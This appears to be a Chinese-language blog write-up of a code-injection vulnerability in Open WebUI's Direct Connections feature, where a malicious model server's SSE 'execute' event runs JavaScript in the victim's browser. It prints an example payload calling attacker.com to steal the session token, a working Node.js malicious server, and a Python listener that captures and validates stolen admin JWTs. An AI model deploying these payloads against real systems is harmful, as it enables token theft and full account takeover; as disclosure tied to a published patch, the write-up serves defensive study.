Open WebUI 外部模型服务器代码注入漏洞分析

本文详细分析了Open WebUI v0.6.33及以下版本中存在的代码注入漏洞,攻击者可通过恶意外部模型服务器利用SSE事件执行任意JavaScript代码,导致身份令牌窃取和完整账户接管。

Open WebUI 外部模型服务器代码注入漏洞分析

漏洞概述

Open WebUI v0.6.33及以下版本在"直接连接"功能中存在代码注入漏洞,恶意外部模型服务器可通过服务器发送事件(SSE)的execute事件在受害者浏览器中执行任意JavaScript代码。

漏洞详情

根本原因分析

Open WebUI的"直接连接"功能允许用户添加外部OpenAI兼容模型服务器,但未对这些服务器发出的服务器发送事件(SSE)进行适当验证。

受漏洞影响的组件:前端SSE事件处理器

前端JavaScript代码处理来自外部服务器的SSE事件,并特别处理触发任意JavaScript执行的execute事件类型:

1
2
3
4
5
// 近似漏洞代码位置(前端SSE处理器)
if (event.type === 'execute') {
    const func = new Function(event.data.code);  // 关键:不安全的代码执行
    await func();
}

漏洞细节

  • 未验证外部服务器的可信度
  • 无受信任模型提供商白名单
  • 无事件类型白名单或过滤
  • 使用new Function()直接执行来自execute事件的代码
  • 无沙箱或内容安全策略强制执行
  • 完全访问浏览器上下文(localStorage、cookies、DOM)

攻击向量

  1. 攻击者部署恶意OpenAI兼容API服务器
  2. 社会工程学:“在http://attacker.com:8000试用我的免费GPT-4替代品”
  3. 受害者启用直接连接(管理员设置→连接)
  4. 受害者添加攻击者的URL作为外部连接
  5. 受害者向恶意模型发送任何消息
  6. 恶意服务器响应包含以下内容的SSE流:
    1
    
    data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}
    
  7. 前端通过new Function()执行恶意代码
  8. JWT令牌被泄露到攻击者服务器
  9. 令牌永久有效(expires_at: null)

漏洞验证

在Open WebUI v0.6.33(2025-10-08)上测试:

  • 在约5秒内成功捕获令牌
  • 获得具有完全权限的管理员令牌
  • 令牌格式:存储在localStorage中的JWT
  • 通过/api/v1/users/user/info端点确认令牌有效性

CWE分类

主要分类:

  • CWE-829:包含来自不受信任控制领域的功能
  • CWE-95:动态评估代码中指令的不当中和

次要分类:

  • CWE-830:包含来自不受信任源的Web功能
  • CWE-501:信任边界违规
  • CWE-522:凭据保护不足(令牌存储在localStorage中)

链接影响

当管理员令牌被盗时,攻击者可利用Functions API在后端服务器上实现远程代码执行(RCE)。

概念验证

完整复现前提条件

  • 运行Open WebUI v0.6.33(测试版本)
  • 用于恶意服务器的Node.js v18+
  • 用于令牌监听器的Python 3.8+

环境设置

对于Docker部署: 克隆Open WebUI v0.6.33仓库并运行docker compose up

利用步骤

步骤1:创建恶意模型服务器(malicious-server.js)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const http = require('http');

const server = http.createServer((req, res) => {
    // 处理模型列表请求
    if (req.url === '/v1/models' && req.method === 'GET') {
        res.writeHead(200, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({
            data: [{ id: "gpt-4-turbo-preview", object: "model" }]
        }));
        return;
    }

    // 处理聊天完成请求
    if (req.url === '/v1/chat/completions' && req.method === 'POST') {
        res.writeHead(200, {
            'Content-Type': 'text/event-stream',
            'Cache-Control': 'no-cache',
            'Connection': 'keep-alive',
            'Access-Control-Allow-Origin': '*'
        });

        // 发送恶意SSE事件
        res.write('data: {"event": {"type": "execute", "data": {"code": "fetch(\\'http://localhost:8081/leak?token=\\' + encodeURIComponent(localStorage.token))"}}}\n\n');
        res.end();
        return;
    }

    res.writeHead(404);
    res.end();
});

server.listen(8000, () => {
    console.log('恶意服务器运行在 http://localhost:8000');
});

步骤2:创建令牌捕获脚本(auto_exploit.py)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import http.server
import socketserver
import threading
import requests
import json
import time

EXFIL_PORT = 8081
OPEN_WEBUI_URL = 'http://localhost:3000'

class TokenCaptureHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if 'token' in self.path:
            # 提取并验证令牌
            token = self.path.split('token=')[1]
            print(f"捕获到令牌: {token}")
            
            # 验证令牌有效性
            response = requests.get(
                f'{OPEN_WEBUI_URL}/api/v1/users/user/info',
                headers={'Authorization': f'Bearer {token}'}
            )
            
            if response.status_code == 200:
                print("令牌验证成功!")
                # 进一步利用代码...
        
        self.send_response(200)
        self.end_headers()

def start_listener():
    with socketserver.TCPServer(("", EXFIL_PORT), TokenCaptureHandler) as httpd:
        httpd.serve_forever()

# 在后台线程中启动监听器
listener_thread = threading.Thread(target=start_listener)
listener_thread.daemon = True
listener_thread.start()

步骤3:启用直接连接并添加恶意模型

  1. 以管理员身份登录Open WebUI
  2. 转到管理员面板→设置→连接
  3. 启用"直接连接"切换
  4. 点击"添加连接"
  5. 输入:
    • 名称:测试模型
    • 基础URL:http://host.docker.internal:8000(用于Docker)或http://localhost:8000
    • API密钥:任意值
  6. 启用连接并保存

步骤4:触发利用

  1. 在Open WebUI聊天界面中
  2. 从模型下拉菜单中选择"gpt-4-turbo-preview"
  3. 输入任何消息:“Hello”
  4. 点击发送

预期结果

  • 恶意服务器接收到请求并注入恶意SSE事件
  • 前端执行恶意JavaScript代码
  • 令牌被泄露到攻击者服务器
  • 攻击者获得有效管理员令牌

漏洞影响

漏洞类型:通过不受信任外部数据源的代码注入

受影响用户:

  • 所有启用直接连接功能的用户
  • 允许外部模型端点的组织
  • 使用本地模型的用户(Ollama、LM Studio、自定义API)
  • 开发和测试环境

攻击场景

场景1:企业间谍活动

攻击者针对使用Open WebUI的公司,在Reddit/HackerNews上发布"免费GPT-4替代品",公司员工添加恶意模型,多个令牌被盗包括管理员,完全访问公司的AI对话和数据。

场景2:供应链攻击

MSP为50个客户托管Open WebUI,MSP员工测试恶意模型,管理员令牌被盗,攻击者获得所有50个客户实例的访问权限。

场景3:内部威胁放大

具有用户账户的不满员工部署恶意模型,在公司Slack中分享:“很酷的新模型!",管理员测试它,令牌被盗,员工升级到管理员权限。

修复方案

已发布补丁版本0.6.35,建议所有用户立即升级。在升级前,建议禁用直接连接功能或仅允许受信任的模型服务器。

时间线

  • T+0s:用户发送消息
  • T+1s:恶意SSE事件注入
  • T+2s:JavaScript在浏览器中执行
  • T+3s:令牌泄露给攻击者
  • T+4s:令牌被捕获并验证

总时间:从第一条消息开始不到5秒

参考

  • GHSA-cm35-v4vp-5xvx
  • open-webui/open-webui@8af6a4c
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计